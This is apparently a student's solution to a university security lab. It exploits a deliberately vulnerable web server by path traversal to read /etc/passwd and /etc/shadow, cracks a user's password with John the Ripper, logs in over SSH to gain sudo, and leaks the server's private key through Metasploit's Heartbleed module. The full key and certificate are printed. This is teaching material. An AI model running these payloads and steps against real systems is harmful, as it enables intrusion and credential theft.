System Security
Exploits

Solution

October 12, 2022

1 Manual Exploit

1. The OWASP Top 10 “represents a broad consensus about the most critical security risks to web applications”. It is a very popular list of vulnerable patterns for web security. Consult the 2017 list here: `https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_(en).pdf.pdf`.

   Check the source code of our vulnerable website. Do you see any potential vulnerability that allows us to read any arbitrary file on the remote filesystem? For example, a value controlled by the user that is used without checks from a function that reads files. What OWASP Top 10 category would you classify it as?

   Solution:

   Looking at the source code we see that variable *comic* can be arbitrarily set by the user through GET method. Said variable is then used without checks by function `file_get_contents` to retrieve the content of a file at the indicated location. An attacker can exploit such a vulnerability modifying *comic* in such a way to obtain the relative path to sensitive files (e.g. `/etc/passwd`).

   The vulnerability described above is classified by OWASP as *A5: Broken Access Control*, and it clearly resembles the first attack scenario mentioned as example in the document.

2. Try to read some filesystem files that you are not supposed to. How do you get them exfiltrated thanks to the previous vulnerability?

   Let’s get some interesting files. How many users are there in the system? How can you tell by just being able to read files? How many users can log in into the system?

   Solution:

   By performing path traversal attack we can induce `file_get_contents` to ask for the content of sensitive files. Such content is not displayed on the webpage, not being an image, but we can retrieve its base64 encoding by inspecting the `html` code of the response page. It is then sufficient to decode the string to retrieve the content of the file.

In particular, by setting `https://172.17.0.2/?comic=../../../../etc/passwd` in URL bar, we can exploit said vulnerability to access `/etc/passwd`, a file containing information regarding users, passwords (in this case shadowed), ids, shell. We can then gather some interesting information. Specifically, there are 22 users, out of which 20 may log in into the system (`syslog` shell is set to `/bin/false` while `sshd` shell is set to `/usr/bin/nologin`, which corresponds to polite non login). It is relevant to notice that, as we will see later, in `/etc/shadow` file most of the passwords are set to $*$: from the manpage, while those users will not be able to use a unix password to login, they may log in the system by other means.

3. Let's try to get the target file. Does it work? Why not? Can we discover who we are running as? (*Hint: some files in `/proc/self` might help you – consult the `proc` documentation by checking its manpages*).

   Solution:

   As before, we can try to set `https://172.17.0.2/comic=../../../../usr/lib/ssl/private/secret.crt`, but this time no file content is retrieved. This is due to lack of permission either to access `private` folder or to read the file itself (or both).

   From `/proc/self/status` file we may discover the id of the user we are running as (`Uid:  33 33 33 33`). By cross checking with `/etc/passwd` previously retrieved we may infer that we are running as user `www-data`.

4. There is a big misconfiguration in the server that allows us to get the (hashed) Unix user passwords. What is this misconfiguration? How many users have a password?

   Let's crack the user password: use the tool *John The Ripper* to crack it. To use John, you need a *dictionary* of passwords that it can try to hash and compare to the target hash. You can start with an English dictionary of words, for example `https://raw.githubusercontent.com/dwyl/english-words/master/words_alpha.txt`, otherwise, you can use popular password leaks such as *rockyou.txt*, or other dictionaries. What is the user's password?

   Solution:

   As said before from file `/etc/passwd` we discover that passwords are shadowed (since set to `x`). The big misconfiguration of the system though is that the file `/etc/shadow` containing those passwords is not protected (it should be accessible only by the `root` user). We are indeed able, thanks to the same vulnerability as before, to get the content of said file. While the password of most users is set to $*$, we are still able to get the password for `gullible` user, the only one with UNIX hashed password.

   From the format (password field begins with `$6$`) we may infer that SHA-512 is used to hash the password. We can then use a tool such as *John the Ripper* to crack it, by issuing the command `john -wordlist=wordlist passwordfile` where *wordlist* is the dictionary employed (in this case `words_alpha.txt`, found at the suggested link) and *passwordfile* is a text file containing the (decoded) content of /etc/shadow. Finally, we discover that the password for user gullible is *invulnerable*.

5. Let's see if we can use our new knowledge: use nmap to see how many open ports the server has. What command do you have to issue? What is the other exposed service, besides the webserver?

   Solution:

   By issuing command nmap 172.17.0.2 we see that the server has 3 open ports. In particular we see that there is another exposed service: 22/tcp open ssh which can allow for remote access to the system.

   We can then try to login as user gullible, for which we just got the password, by issuing the command ssh gullible@172.17.0.2.

6. Login as the user in the system. Can you get the target file? What groups are you part of – is there any interesting group? You should be able to get the target file – and control the full system! What is the SSL certificate of the server?

   Solution:

   Still, even as gullible user we are not able to directly retrieve the target file, as we lack permission to access private directory. But by issuing command id we discover that user gullible is part of sudo group, which means we are able to open an interactive shell as sudo user, navigate through private folder to finally get secret.crt target file, which contains the following private key and certificate:

```
---BEGIN PRIVATE KEY---

MIIEogIBAAKCAQEA3FknF1R+zm3sPWZgD07cdn6AEwDYFh8uepErGw5Gp/lGNhME
rPkQjjL+W07Nf7yjkXi4bkdqrh8YueqM6Z5XfOZpOn07scMvvJ3jyWiJRZTu/9Sc
JtmKEunRwBDSunfKNW1TzHSyO1pHaV9gf4V6A0Yc+geH7jNIkIa+nVMk/+o468Ku
ZVGZNFbEYuYEnZx1gFwIIIQ22UryqaGkD9/ufKsLH11bvlsjbtILbU7uauFH2hDR
eIcymoB180SVHjYgnEW7QX6FNXHsO+ZH04eHtDW/7XGSmgbCFRsb+y3v8FeipJ58
zfdUqi2NFKUdE/9eQPYlPRYPW6EP5TEY5nxjvQIDAQABAoIBAHg+3qpInfqg2e6X
O4wHCSBQ4Ct+pm1MDt0sI03ceIpp6frQXhjWwkYXZd8GHfa7Rre4HU1xA7KJncC3
Uraahjv0sVYNyWm0jnRr5UagGWkzYUmTCLPauxKfLquVgqnnfR2yz6wfcrQZDCdg
uRReDruCo4V+XpuKuOrF3XeVS/erIrP3nSGiDh8ax3Y3Jwxk6FXylL4k13SW+BXx
Coe8IJNRDM6uc/x8scCeVmjbC73xZaT1sMOL1NPvErriHmBYDo3lAqTMp2QG0bCh
J7RKau0YYsseMrkzL/1xpNZtTNvHbElvA4sOMTCZXwlKieBAQ9zkdXPgdJVG+G98
6RDFKbECgYEA7iTMxvxjRcvhLRVr95nbyXa1nd1L4XjwMRTMd2io4C8eoHCZeuoi
CY/hwv5vDDd9wKWuD21r6PEVf5mTdpEoP6l2t6C8VBEbMR31Vh+iR9hDS6+4b6K4
hHH0e95ei94bKwJg/5w/6uPwE7djtEVsHQqxxsAsyhZ3ygydob+EWQcCgYEA7N7E
E36VKsVOk193uPuJF4CYgl2biE1/STSQOY+Lv146unQpEuK0v0xIvA4zttg3RAue
TO3XHKdbZV8u5C5ZrQZAxA043u8nMHSXH2r7neP/ZYcZq8ZUu1PxUx7FO0qVDgDu
g7x0lYEakviS2F3OdxbiSYbcjfvAaN/IHbGBABsCgYBkb7DN23Qi47G8SeSXMJS5
iw9d3Q87sL3cdWEmm0VeB4FrORIB/OOOC1iz3IsJI/4tWbLnXsa8H7Fpd2PyBZZs
```

```
AxTGrUvASNanCHOINx9CHbuEGEA5FO+tLEJoW4iUhMAAi6hNJaDvd+Kw7g9m4ECQ
nwoLQNGjCYbL+DYjGZq/0QKBgBZhNcVhwFY6LiJecsFXgqxlygMHNRq7t7sC7F2D
4oBCNupG71qJcOpiGr0p2lj8NLyJHHvIPPrIFSq0w69rca2XWacsWKM3lUxOt7iQ
MxXH5OmCyjogkwDf/XOM+zWO5mZcUCzCMYGuoQQh2D35HvjBgL/RriT8FEHUYuPr
UXThAoGALS7JYPwbTIMWnTtBrucK35GqLwEzh0yhbZgYRABirn99bVnL3YAl4+5o
2z3auU9bKjvZsG+sA892WWK3oLVVDzfo9zmD9FPy9By/NGHvY7Bl11vSwdGRLjth
SHOjAdbyi+onLsq6oJRMm7fuJw3kIA92zaSLvnR0lGQOnoYoa9Y=

---END PRIVATE KEY---

---BEGIN CERTIFICATE---

MIICuDCCAaCgAwIBAgIJAPnDDyMX2dVqMA0GCSqGSIb3DQEBBQUAMBQxEjAQBgNV
BAMTCWxvY2FsaG9zdDAeFw0xOTA5MzAwOTE3NDNaFw0yOTA5MjcwOTE3NDNaMBQx
EjAQBgNVBAMTCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANxZJxdUfs5t7D1mYA9O3HZ+gBMA2BYfLnqRKxsORqf5RjYTBKz5EI4y/ltO
zX+8o5F4uG5Haq4fGLnqjOmeV3zmaTp9O7HDL7yd48loiUWU7v/UnCbZihLp0cAQ
Orp3yjVtU8x0sjtaR2lfYH+FegNGHPoHh+4zSJCGvp1TJP/qOOvCrmVRmTRWxGLm
BJ2cdYBcCCCENtlK8qmhpA/f7nyrCx9dW75bI27SC21O7mrhR9oQ0XiHMpqAdfNE
lR42IJxFu0F+hTVx7DvmR9OHh7Q1v+1xkpoGwhUbG/st7/BXoqSefM33VKotjRSl
HRP/XkD2JT0WD1uhD+UxGOZ8Y70CAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG
9w0BAQUFAAOCAQEAJl2ic+jXBVfTsJe4flIQuuaRz/iXUqDGLMwYhcHfpjqw15cx
cN2jMg19Hb27e4MoLi8FPQP5+CrKxNpdFVjfTsTxeESzlNcxYhX6tKTF2klBApPP
R2MyWr2yBApPvJftKWpq4Qm7mAPwOZD/6BmDXsUWyFradn0/iS9b0F2rf1Ex6RTb
Uyi76QT6sIkkJBO5VUn4H6O3LrwJARQn96meWrBOi8yB2BltwuyCRsD5RPvhN4ZB
g5eltdAf0sUkL/QZ3hgZe/gs1biHK1E5z+ez7YNvf6Aj1No0zlFbswEtrmdMroTH
LvTshhSZTFtsNgra8JiaMmoI0sOTbZpIoPJZBw==

---END CERTIFICATE---
```

2 Metasploit

We will now get to the same result using a shorter route. Instead of manual exploitation and code auditing, we will observe how once a big vulnerability is public domain, then anybody can exploit it. Hopefully, you will see why timely patching of software is important.

We will use a popular penetration testing framework: *Metasploit.* Metasploit provides pre-made modules that allow testing and exploitation of popular vulnerabilities and misconfigurations. It is already installed in the VM, and its CLI can be accessed by typing `msfconsole` in a terminal.

You can learn how to use the metasploit framework at `http://www.metasploit.com/`. Here are a few useful commands:

- "search application-name" will give you all possible exploits available for a given application. Try and understand which of them best suit your requirements. There is plenty of help out there on the Internet!

- "show actions" lists the possible actions for the loaded module, while "show options" lists the information required for the exploit (e.g., target machine, port, etc.). You can then set acchansu wtions and options with the `set` command.

Our target server is running a very old and unpatched Ubuntu GNU/Linux distribution from 2013. In particular, the OpenSSL version is `OpenSSL 1.0.1c 10 May 2012`. Check the known vulnerabilities of this version of OpenSSL, for example on the Common Vulnerabilities and Exploits (CVE) database. The CVE database provides a method of tracking all publicly known exploits and security issues of software, down to every version and release of software. Is there a very famous vulnerability known for this version of OpenSSL? Find the Metasploit module that can exploit it, and use it to get the private key. Is it the same key we leaked with the previous exploit? If not, why?

Solution:

OpenSSL 1.0.1a through 1.0.1f is subject to a well known and very serious vulnerability, *Heartbleed*, which can be exploited to leak information from memory cells we are not supposed to access, by means of so called heartbeats

Metasploit module `auxiliary/scanner/ssl/openssl_heartbleed`, by setting the appropriate `RHOSTS` and `ACTION` parameters (in particular, the latter must be set to `KEYS`, while the former is to be set to the IP address of the web server), can exploit said vulnerability to leak the target private RSA key. Such a key may often appear initially different from the one we managed to get by manual exploit:

```
    ---BEGIN RSA PRIVATE KEY---
    MIIEowIBAAKCAQEA3FknF1R+zm3sPWZgD07cdn6AEwDYFh8uepErGw5Gp/lGNhME
rPkQjjL+W07Nf7yjkXi4bkdqrh8YueqM6Z5XfOZpOn07scMvvJ3jyWiJRZTu/9Sc
JtmKEunRwBDSunfKNW1TzHSyO1pHaV9gf4V6A0Yc+geH7jNIkIa+nVMk/+o468Ku
ZVGZNFbEYuYEnZx1gFwIIIQ22UryqaGkD9/ufKsLH11bvlsjbtILbU7uauFH2hDR
eIcymoB18OSVHjYgnEW7QX6FNXHsO+ZH04eHtDW/7XGSmgbCFRsb+y3v8FeipJ58
zfdUqi2NFKUdE/9eQPYlPRYPW6EP5TEY5nxjvQIDAQABAoIBAHg+3qpInfqg2e6X
O4wHCSBQ4Ct+pm1MDt0sI03ceIpp6frQXhjWwkYXZd8GHfa7Rre4HU1xA7KJncC3
UraahjvOsVYNyWm0jnRr5UagGWkzYUmTCLPauxKfLquVgqnnfR2yz6wfcrQZDCdg
uRReDruCo4V+XpuKuOrF3XeVS/erIrP3nSGiDh8ax3Y3Jwxk6FXylL4k13SW+BXx
Coe8IJNRDM6uc/x8scCeVmjbC73xZaT1sMOL1NPvErriHmBYDo3lAqTMp2QG0bCh
J7RKau0YYsseMrkzL/1xpNZtTNvHbElvA4sOMTCZXwlKieBAQ9zkdXPgdJVG+G98
6RDFKbECgYEA7N7EE36VKsVOk193uPuJF4CYgl2biE1/STSQOY+Lv146unQpEuKO
v0xIvA4zttg3RAueTO3XHKdbZV8u5C5ZrQZAxA043u8nMHSXH2r7neP/ZYcZq8ZU
u1PxUx7FO0qVDgDug7x0lYEakviS2F3OdxbiSYbcjfvAaN/IHbGBABsCgYEA7iTM
xvxjRcvhLRVr95nbyXa1nd1L4XjwMRTMd2io4C8eoHCZeuoiCY/hwv5vDDd9wKWu
D21r6PEVf5mTdpEoP6l2t6C8VBEbMR31Vh+iR9hDS6+4b6K4hHH0e95ei94bKwJg
/5w/6uPwE7djtEVsHQqxxsAsyhZ3ygydob+EWQcCgYAWYTXFYcBWOi4iXnLBV4Ks
ZcoDBzUau7e7Auxdg+KAQjbqRu9aiXDqYhq9KdpY/DS8iRx7yDz6yBUqjsOva3Gt
l1mnLFijN5VMTre4kDMVx+Tpgso6IJMA3/19DPs1juZmXFAswjGBrqEEIdg9+R74
wYC/0a4k/BRB1GLj61F04QKBgGRvsM3bdCLjsbxJ5JcwlLmLD13dDzuwvdx1YSab
RV4HgWs5EgH87Q4LWLPciwkj/i1ZsudexrwfsWl3Y/IFlmwDFMatS8BI1qcIc4g3
H0Idu4QYQDkU760sQmhbiJSEwACLqE0loO934rDuD2bgQJCfCgtA0aMJhsv4NiMZ
mr/RAoGBAL/t1l3Djd8s/aWezmy0jV/RT7rCLMaY7cACE9Del3ClRokMyNb6xLQj
jnzRA8t/0tZ6jbmQivhG5algHSFn3zcdVtfWEMmtKy0Wjld4pnnUOTf5z60mHQRc
K38Y6HS/5o4izQ7rZ921qV7uqSJkaH/4QMv4TNjwNk2Qg8ietat0
    ---END RSA PRIVATE KEY---
```

After some research, we can conclude that the two keys are actually the same, just in different formats. Looking at the heading, we may see that the previous key follows standard syntax *PKCS#8*, while the one we got through Metasploit follows syntax *PKCS#1*. I would also like to highlight the fact that, out of a number of tests performed, the key retrieved through Metasploit was actually in the same format as the one in the target file on two occasions.